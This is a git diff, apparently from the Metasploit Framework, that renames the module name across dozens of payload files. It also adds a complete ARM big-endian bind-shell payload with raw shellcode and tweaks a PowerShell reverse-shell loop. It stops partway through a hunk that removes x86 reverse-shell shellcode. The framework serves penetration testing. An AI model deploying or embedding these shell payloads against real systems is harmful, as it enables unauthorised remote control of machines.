b/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb index b33a5a6741..b047521eeb 100644 --- a/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb +++ b/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb @@ -9,7 +9,7 @@ require 'msf/base/sessions/powershell' require 'msf/core/payload/windows/powershell' require 'msf/core/handler/bind_tcp' -module Metasploit3 +module MetasploitModule CachedSize = 1518 diff --git a/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb b/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb index 5174312512..18701955de 100644 --- a/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb +++ b/modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb @@ -9,7 +9,7 @@ require 'msf/base/sessions/powershell' require 'msf/core/payload/windows/powershell' require 'msf/core/handler/reverse_tcp_ssl' -module Metasploit3 +module MetasploitModule CachedSize = 1526 diff --git a/modules/payloads/singles/cmd/windows/reverse_lua.rb b/modules/payloads/singles/cmd/windows/reverse_lua.rb index fbe52645ad..8fb40e10d1 100644 --- a/modules/payloads/singles/cmd/windows/reverse_lua.rb +++ b/modules/payloads/singles/cmd/windows/reverse_lua.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 224 diff --git a/modules/payloads/singles/cmd/windows/reverse_perl.rb b/modules/payloads/singles/cmd/windows/reverse_perl.rb index ff007384f0..9b6eefe03a 100644 --- a/modules/payloads/singles/cmd/windows/reverse_perl.rb +++ b/modules/payloads/singles/cmd/windows/reverse_perl.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 148 diff --git a/modules/payloads/singles/cmd/windows/reverse_powershell.rb b/modules/payloads/singles/cmd/windows/reverse_powershell.rb index 510f4b5df5..b871e28be5 100644 --- a/modules/payloads/singles/cmd/windows/reverse_powershell.rb +++ b/modules/payloads/singles/cmd/windows/reverse_powershell.rb @@ -9,9 +9,9 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule - CachedSize = 1204 + CachedSize = 1228 include Msf::Payload::Single include Msf::Sessions::CommandShellOptions @@ -81,7 +81,8 @@ module Metasploit3 "while (($i -gt 0) -and ($pos -lt $nb.Length)) {"\ "$r=$s.Read($nb,$pos,$nb.Length - $pos);"\ "$pos+=$r;"\ - "if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}};"\ + "if (-not $pos -or $pos -eq 0) {RSC};"\ + "if ($nb[0..$($pos-1)] -contains 10) {break}};"\ "if ($pos -gt 0){"\ "$str=$e.GetString($nb,0,$pos);"\ "$is.write($str);start-sleep 1;"\ diff --git a/modules/payloads/singles/cmd/windows/reverse_ruby.rb b/modules/payloads/singles/cmd/windows/reverse_ruby.rb index fa61454995..056283fb95 100644 --- a/modules/payloads/singles/cmd/windows/reverse_ruby.rb +++ b/modules/payloads/singles/cmd/windows/reverse_ruby.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 126 diff --git a/modules/payloads/singles/firefox/exec.rb b/modules/payloads/singles/firefox/exec.rb index 9f3dcbc1d5..782ed8627d 100644 --- a/modules/payloads/singles/firefox/exec.rb +++ b/modules/payloads/singles/firefox/exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -module Metasploit3 +module MetasploitModule CachedSize = 1019 diff --git a/modules/payloads/singles/firefox/shell_bind_tcp.rb b/modules/payloads/singles/firefox/shell_bind_tcp.rb index ce5b678d01..450a54ed7a 100644 --- a/modules/payloads/singles/firefox/shell_bind_tcp.rb +++ b/modules/payloads/singles/firefox/shell_bind_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = :dynamic diff --git a/modules/payloads/singles/firefox/shell_reverse_tcp.rb b/modules/payloads/singles/firefox/shell_reverse_tcp.rb index 3b007df865..4f9ad61ee7 100644 --- a/modules/payloads/singles/firefox/shell_reverse_tcp.rb +++ b/modules/payloads/singles/firefox/shell_reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = :dynamic diff --git a/modules/payloads/singles/generic/custom.rb b/modules/payloads/singles/generic/custom.rb index 8c8a6569fc..943b202789 100644 --- a/modules/payloads/singles/generic/custom.rb +++ b/modules/payloads/singles/generic/custom.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/payload/generic' -module Metasploit3 +module MetasploitModule CachedSize = 0 diff --git a/modules/payloads/singles/generic/debug_trap.rb b/modules/payloads/singles/generic/debug_trap.rb index 53411e9495..10afe263d7 100644 --- a/modules/payloads/singles/generic/debug_trap.rb +++ b/modules/payloads/singles/generic/debug_trap.rb @@ -8,7 +8,7 @@ require 'msf/core' require 'msf/core/payload/generic' -module Metasploit3 +module MetasploitModule CachedSize = 1 diff --git a/modules/payloads/singles/generic/shell_bind_tcp.rb b/modules/payloads/singles/generic/shell_bind_tcp.rb index 1f321f1d87..08d92ec255 100644 --- a/modules/payloads/singles/generic/shell_bind_tcp.rb +++ b/modules/payloads/singles/generic/shell_bind_tcp.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/payload/generic' require 'msf/core/handler/bind_tcp' -module Metasploit3 +module MetasploitModule CachedSize = 0 diff --git a/modules/payloads/singles/generic/shell_reverse_tcp.rb b/modules/payloads/singles/generic/shell_reverse_tcp.rb index 20492e6537..f1fe1097fe 100644 --- a/modules/payloads/singles/generic/shell_reverse_tcp.rb +++ b/modules/payloads/singles/generic/shell_reverse_tcp.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'msf/core/payload/generic' require 'msf/core/handler/reverse_tcp' -module Metasploit3 +module MetasploitModule CachedSize = 0 diff --git a/modules/payloads/singles/generic/tight_loop.rb b/modules/payloads/singles/generic/tight_loop.rb index c689218a3a..3ca11012b8 100644 --- a/modules/payloads/singles/generic/tight_loop.rb +++ b/modules/payloads/singles/generic/tight_loop.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/payload/generic' -module Metasploit3 +module MetasploitModule CachedSize = 2 diff --git a/modules/payloads/singles/java/jsp_shell_bind_tcp.rb b/modules/payloads/singles/java/jsp_shell_bind_tcp.rb index 517cd5aaf5..fe0c9b1342 100644 --- a/modules/payloads/singles/java/jsp_shell_bind_tcp.rb +++ b/modules/payloads/singles/java/jsp_shell_bind_tcp.rb @@ -9,7 +9,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 1593 diff --git a/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb b/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb index e5201b9a61..a9118aa542 100644 --- a/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb +++ b/modules/payloads/singles/java/jsp_shell_reverse_tcp.rb @@ -9,7 +9,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 1501 diff --git a/modules/payloads/singles/java/shell_reverse_tcp.rb b/modules/payloads/singles/java/shell_reverse_tcp.rb index 5f760639e2..8a8cd0645a 100644 --- a/modules/payloads/singles/java/shell_reverse_tcp.rb +++ b/modules/payloads/singles/java/shell_reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 7359 diff --git a/modules/payloads/singles/linux/armbe/shell_bind_tcp.rb b/modules/payloads/singles/linux/armbe/shell_bind_tcp.rb new file mode 100644 index 0000000000..a55830a14e --- /dev/null +++ b/modules/payloads/singles/linux/armbe/shell_bind_tcp.rb @@ -0,0 +1,115 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/handler/bind_tcp' +require 'msf/base/sessions/command_shell' +require 'msf/base/sessions/command_shell_options' + +module MetasploitModule + + CachedSize = 118 + + include Msf::Payload::Single + include Msf::Payload::Linux + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super(merge_info(info, + 'Name' => 'Linux ARM Big Endian Command Shell, Bind TCP Inline', + 'Description' => 'Listen for a connection and spawn a command shell', + 'Author' => 'Balazs Bucsay @xoreipeip ', + 'References' => ['URL', 'https://github.com/earthquake/shellcodes/blob/master/armeb_linux_ipv4_bind_tcp.s'], + 'License' => MSF_LICENSE, + 'Platform' => 'linux', + 'Arch' => ARCH_ARMBE, + 'Handler' => Msf::Handler::BindTcp, + 'Session' => Msf::Sessions::CommandShellUnix + )) + # Register command execution options + register_options( + [ + OptString.new('CMD', [ true, "The command to execute.", "/bin/sh" ]), + Opt::LPORT(4444) + ], self.class) + end + def generate + cmd = (datastore['CMD'] || '') + "\x00" + bytehigh = (datastore['LPORT'].to_i >> 8).chr + bytelow = (datastore['LPORT'].to_i & 0xFF).chr + + payload = + # turning on thumb mode + "\xe2\x8f\x60\x01" +# add r6, pc, #1 # + "\xe1\x2f\xff\x16" +# bx r6 # + + # thumb mode on + # socket(2,1,0) + "\x1a\x92" +# sub r2, r2, r2 # + "\x1c\x51" +# add r1, r2, #1 # + "\x1c\x90" +# add r0, r2, #2 # + "\x02\x0f" +# lsl r7, r1, #8 # + "\x37\x19" +# add r7, r7, #0x19 # + "\xdf\x01" +# svc 1 # + "\x1c\x06" +# mov r6, r0 # + + # bind() + "\x22\x02" +# mov r2, #2 # + "\x02\x12" +# lsl r2, r2, #8 # + "\x32"+bytehigh +# add r2, r2, #0xXX # + "\x02\x12" +# lsl r2, r2, #8 # + "\x32"+bytelow +# add r2, r2, #0xXX # + "\x1a\xdb" +# sub r3, r3, r3 # + "\x1b\x24" +# sub r4, r4, r4 # + "\x1b\x6d" +# sub r5, r5, r5 # + "\x46\x69" +# mov r1, sp # + "\xc1\x3c" +# stm r1!, {r2-r5} # + "\x39\x10" +# sub r1, #0x10 # + "\x22\x10" +# mov r2, #16 # + "\x37\x01" +# add r7, r7, #1 # + "\xdf\x01" +# svc 1 # + + # listen() + "\x1c\x30" +# mov r0, r6 # + "\x1a\x49" +# sub r1, r1, r1 # + "\x37\x02" +# add r7, r7, #2 # + "\xdf\x01" +# svc 1 # + + # accept() + "\x1c\x30" +# mov r0, r6 # + "\x1a\x92" +# sub r2, r2, r2 # + "\x37\x01" +# add r7, r7, #1 # + "\xdf\x01" +# svc 1 # + "\x1c\x06" +# mov r6, r0 # + + # dup2() + "\x1a\x49" +# sub r1, r1, r1 # + "\x27\x3f" +# mov r7, #63 # + "\xdf\x01" +# svc 1 # + "\x1c\x30" +# mov r0, r6 # + "\x31\x01" +# add r1, r1, #1 # + "\xdf\x01" +# svc 1 # + "\x1c\x30" +# mov r0, r6 # + "\x31\x01" +# add r1, r1, #1 # + "\xdf\x01" +# svc 1 # + + # execve() + "\x1a\x92" +# sub r2, r2, r2 # + "\x46\x78" +# mov r0, pc # + "\x30\x12" +# add r0, #18 # + "\x92\x02" +# str r2, [sp, #8] # + "\x90\x01" +# str r0, [sp, #4] # + "\xa9\x01" +# add r1, sp, #4 # + "\x27\x0b" +# mov r7, #11 # + "\xdf\x01" +# svc 1 # + + # exit() + "\x1b\x24" +# sub r4, r4, r4 # + "\x1c\x20" +# mov r0, r4 # + "\x27\x01" +# mov r7, #1 # + "\xdf\x01" +# svc 1 # + cmd + end +end diff --git a/modules/payloads/singles/linux/armle/adduser.rb b/modules/payloads/singles/linux/armle/adduser.rb index d8b72f2391..7bee064a1a 100644 --- a/modules/payloads/singles/linux/armle/adduser.rb +++ b/modules/payloads/singles/linux/armle/adduser.rb @@ -14,7 +14,7 @@ require 'msf/core' # Adds a UID 0 user to /etc/passwd. # ### -module Metasploit3 +module MetasploitModule CachedSize = 119 diff --git a/modules/payloads/singles/linux/armle/exec.rb b/modules/payloads/singles/linux/armle/exec.rb index 88c3f9e5b9..30f6a53e8d 100644 --- a/modules/payloads/singles/linux/armle/exec.rb +++ b/modules/payloads/singles/linux/armle/exec.rb @@ -13,7 +13,7 @@ require 'msf/core' # Executes an arbitrary command. # ### -module Metasploit3 +module MetasploitModule CachedSize = 29 diff --git a/modules/payloads/singles/linux/armle/shell_bind_tcp.rb b/modules/payloads/singles/linux/armle/shell_bind_tcp.rb index deac8e58a1..3f0721ce5d 100644 --- a/modules/payloads/singles/linux/armle/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/armle/shell_bind_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 208 diff --git a/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb b/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb index 286b9c043e..a1f555ed66 100644 --- a/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 172 diff --git a/modules/payloads/singles/linux/mipsbe/exec.rb b/modules/payloads/singles/linux/mipsbe/exec.rb index 0d7f26d720..4a68161bce 100644 --- a/modules/payloads/singles/linux/mipsbe/exec.rb +++ b/modules/payloads/singles/linux/mipsbe/exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -module Metasploit3 +module MetasploitModule CachedSize = 52 diff --git a/modules/payloads/singles/linux/mipsbe/reboot.rb b/modules/payloads/singles/linux/mipsbe/reboot.rb index f245836ec6..c0f93f5b2e 100644 --- a/modules/payloads/singles/linux/mipsbe/reboot.rb +++ b/modules/payloads/singles/linux/mipsbe/reboot.rb @@ -5,7 +5,7 @@ require 'msf/core' -module Metasploit3 +module MetasploitModule CachedSize = 32 diff --git a/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb b/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb index f904e76eaf..e196576a12 100644 --- a/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 232 diff --git a/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb b/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb index 36692d22dc..d1562f9cc4 100644 --- a/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsbe/shell_reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 184 diff --git a/modules/payloads/singles/linux/mipsle/exec.rb b/modules/payloads/singles/linux/mipsle/exec.rb index a2b1440a21..431b992815 100644 --- a/modules/payloads/singles/linux/mipsle/exec.rb +++ b/modules/payloads/singles/linux/mipsle/exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -module Metasploit3 +module MetasploitModule CachedSize = 52 diff --git a/modules/payloads/singles/linux/mipsle/reboot.rb b/modules/payloads/singles/linux/mipsle/reboot.rb index c479778455..bb93cdf2e0 100644 --- a/modules/payloads/singles/linux/mipsle/reboot.rb +++ b/modules/payloads/singles/linux/mipsle/reboot.rb @@ -5,7 +5,7 @@ require 'msf/core' -module Metasploit3 +module MetasploitModule CachedSize = 32 diff --git a/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb index 4beb549cac..81961f8a90 100644 --- a/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/mipsle/shell_bind_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 232 diff --git a/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb b/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb index 6d240561fa..74fa0975ed 100644 --- a/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/mipsle/shell_reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 184 diff --git a/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb b/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb index fe9f16e824..6769b0623b 100644 --- a/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/ppc/shell_bind_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 223 diff --git a/modules/payloads/singles/linux/ppc/shell_find_port.rb b/modules/payloads/singles/linux/ppc/shell_find_port.rb index 32c5f401bb..2f12236ae8 100644 --- a/modules/payloads/singles/linux/ppc/shell_find_port.rb +++ b/modules/payloads/singles/linux/ppc/shell_find_port.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/find_port' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 171 diff --git a/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb b/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb index 01c5f74c98..a883f94dfa 100644 --- a/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/ppc/shell_reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 183 diff --git a/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb b/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb index d460648361..d9d755c37e 100644 --- a/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/ppc64/shell_bind_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 223 diff --git a/modules/payloads/singles/linux/ppc64/shell_find_port.rb b/modules/payloads/singles/linux/ppc64/shell_find_port.rb index 61a29a463f..57ea9cd295 100644 --- a/modules/payloads/singles/linux/ppc64/shell_find_port.rb +++ b/modules/payloads/singles/linux/ppc64/shell_find_port.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/find_port' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 171 diff --git a/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb b/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb index a3ef4a702e..d838d9f724 100644 --- a/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/ppc64/shell_reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 183 diff --git a/modules/payloads/singles/linux/x64/exec.rb b/modules/payloads/singles/linux/x64/exec.rb index 69630f74bf..f42e589589 100644 --- a/modules/payloads/singles/linux/x64/exec.rb +++ b/modules/payloads/singles/linux/x64/exec.rb @@ -6,7 +6,7 @@ require 'msf/core' -module Metasploit3 +module MetasploitModule CachedSize = 47 diff --git a/modules/payloads/singles/linux/x64/shell_bind_tcp.rb b/modules/payloads/singles/linux/x64/shell_bind_tcp.rb index 06ab4b7e5c..c7a2765330 100644 --- a/modules/payloads/singles/linux/x64/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/x64/shell_bind_tcp.rb @@ -9,7 +9,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 86 diff --git a/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb b/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb index 7eaffef23f..07073dfe83 100644 --- a/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb +++ b/modules/payloads/singles/linux/x64/shell_bind_tcp_random_port.rb @@ -5,7 +5,7 @@ require 'msf/core' -module Metasploit3 +module MetasploitModule CachedSize = 57 diff --git a/modules/payloads/singles/linux/x64/shell_find_port.rb b/modules/payloads/singles/linux/x64/shell_find_port.rb index 1ef8911778..9fc74d4381 100644 --- a/modules/payloads/singles/linux/x64/shell_find_port.rb +++ b/modules/payloads/singles/linux/x64/shell_find_port.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/find_port' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 91 diff --git a/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb b/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb index 860826c427..2b70a9dd60 100644 --- a/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x64/shell_reverse_tcp.rb @@ -9,7 +9,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 74 diff --git a/modules/payloads/singles/linux/x86/adduser.rb b/modules/payloads/singles/linux/x86/adduser.rb index 064b5ca314..2a82a0d458 100644 --- a/modules/payloads/singles/linux/x86/adduser.rb +++ b/modules/payloads/singles/linux/x86/adduser.rb @@ -15,7 +15,7 @@ require 'msf/core' # Adds a UID 0 user to /etc/passwd. # ### -module Metasploit3 +module MetasploitModule CachedSize = 97 diff --git a/modules/payloads/singles/linux/x86/chmod.rb b/modules/payloads/singles/linux/x86/chmod.rb index 6ed4ea11a0..b2cf018252 100644 --- a/modules/payloads/singles/linux/x86/chmod.rb +++ b/modules/payloads/singles/linux/x86/chmod.rb @@ -10,7 +10,7 @@ require 'msf/core' # # Kris Katterjohn - 03/03/2008 ### -module Metasploit3 +module MetasploitModule CachedSize = 36 diff --git a/modules/payloads/singles/linux/x86/exec.rb b/modules/payloads/singles/linux/x86/exec.rb index d81ac237ad..d4a12e8d2a 100644 --- a/modules/payloads/singles/linux/x86/exec.rb +++ b/modules/payloads/singles/linux/x86/exec.rb @@ -13,7 +13,7 @@ require 'msf/core' # Executes an arbitrary command. # ### -module Metasploit3 +module MetasploitModule CachedSize = 43 diff --git a/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb b/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb index ef79d117ed..9f1f1f351f 100644 --- a/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb +++ b/modules/payloads/singles/linux/x86/metsvc_bind_tcp.rb @@ -9,7 +9,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/meterpreter_x86_linux' require 'msf/base/sessions/meterpreter_options' -module Metasploit3 +module MetasploitModule CachedSize = 0 diff --git a/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb b/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb index a84023cfe1..8cb0c265f1 100644 --- a/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x86/metsvc_reverse_tcp.rb @@ -9,7 +9,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/meterpreter_x86_linux' require 'msf/base/sessions/meterpreter_options' -module Metasploit3 +module MetasploitModule CachedSize = 0 diff --git a/modules/payloads/singles/linux/x86/read_file.rb b/modules/payloads/singles/linux/x86/read_file.rb index 6d9a0a9b89..e51b91f598 100644 --- a/modules/payloads/singles/linux/x86/read_file.rb +++ b/modules/payloads/singles/linux/x86/read_file.rb @@ -5,7 +5,7 @@ require 'msf/core' -module Metasploit3 +module MetasploitModule CachedSize = 63 diff --git a/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb b/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb index af469cfebf..135d77a7d8 100644 --- a/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb +++ b/modules/payloads/singles/linux/x86/shell_bind_ipv6_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 90 diff --git a/modules/payloads/singles/linux/x86/shell_bind_tcp.rb b/modules/payloads/singles/linux/x86/shell_bind_tcp.rb index f6f90ce56f..c50a672018 100644 --- a/modules/payloads/singles/linux/x86/shell_bind_tcp.rb +++ b/modules/payloads/singles/linux/x86/shell_bind_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 78 diff --git a/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb b/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb index 13c7b39632..e5e2a7f3f9 100644 --- a/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb +++ b/modules/payloads/singles/linux/x86/shell_bind_tcp_random_port.rb @@ -5,7 +5,7 @@ require 'msf/core' -module Metasploit3 +module MetasploitModule CachedSize = 57 diff --git a/modules/payloads/singles/linux/x86/shell_find_port.rb b/modules/payloads/singles/linux/x86/shell_find_port.rb index 4961b81e72..f76634a2ff 100644 --- a/modules/payloads/singles/linux/x86/shell_find_port.rb +++ b/modules/payloads/singles/linux/x86/shell_find_port.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/find_port' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 62 diff --git a/modules/payloads/singles/linux/x86/shell_find_tag.rb b/modules/payloads/singles/linux/x86/shell_find_tag.rb index 9a525d5e3b..3d2e84af78 100644 --- a/modules/payloads/singles/linux/x86/shell_find_tag.rb +++ b/modules/payloads/singles/linux/x86/shell_find_tag.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/find_tag' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 69 diff --git a/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb b/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb index 3b1310ffe6..3e888459dc 100644 --- a/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb +++ b/modules/payloads/singles/linux/x86/shell_reverse_tcp.rb @@ -8,7 +8,7 @@ require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' -module Metasploit3 +module MetasploitModule CachedSize = 68 @@ -20,56 +20,65 @@ module Metasploit3 super(merge_info(info, 'Name' => 'Linux Command Shell, Reverse TCP Inline', 'Description' => 'Connect back to attacker and spawn a command shell', - 'Author' => 'Ramon de C Valle', + 'Author' => ['Ramon de C Valle', 'joev'], 'License' => MSF_LICENSE, 'Platform' => 'linux', 'Arch' => ARCH_X86, 'Handler' => Msf::Handler::ReverseTcp, - 'Session' => Msf::Sessions::CommandShellUnix, - 'Payload' => - { - 'Offsets' => - { - 'LHOST' => [ 25, 'ADDR' ], - 'LPORT' => [ 32, 'n' ], - }, - 'Payload' => - "\x31\xdb" +# xor ebx,ebx - "\xf7\xe3" +# mul ebx - "\x53" +# push ebx - "\x43" +# inc ebx - "\x53" +# push ebx - "\x6a\x02" +# push byte +0x2 - "\x89\xe1" +# mov ecx,esp - "\xb0\x66" +# mov al,0x66 - "\xcd\x80" +# int 0x80 - "\x93" +# xchg eax,ebx - "\x59" +# pop ecx - "\xb0\x3f" +# mov al,0x3f - "\xcd\x80" +# int 0x80 - "\x49" +# dec ecx - "\x79\xf9" +# jns 0x11 - "\x68\x7f\x00\x00\x01" +# push dword 0x100007f - "\x68\x02\x00\xbf\xbf" +# push dword 0xbfbf0002 - "\x89\xe1" +# mov ecx,esp - "\xb0\x66" +# mov al,0x66 - "\x50" +# push eax - "\x51" +# push ecx - "\x53" +# push ebx - "\xb3\x03" +# mov bl,0x3 - "\x89\xe1" +# mov ecx,esp - "\xcd\x80" +# int 0x80 - "\x52" +# push edx - "\x68\x2f\x2f\x73\x68" +# push dword 0x68732f2f - "\x68\x2f\x62\x69\x6e" +# push dword 0x6e69622f - "\x89\xe3" +# mov ebx,esp - "\x52" +# push edx - "\x53" +# push ebx - "\x89\xe1" +# mov ecx,esp - 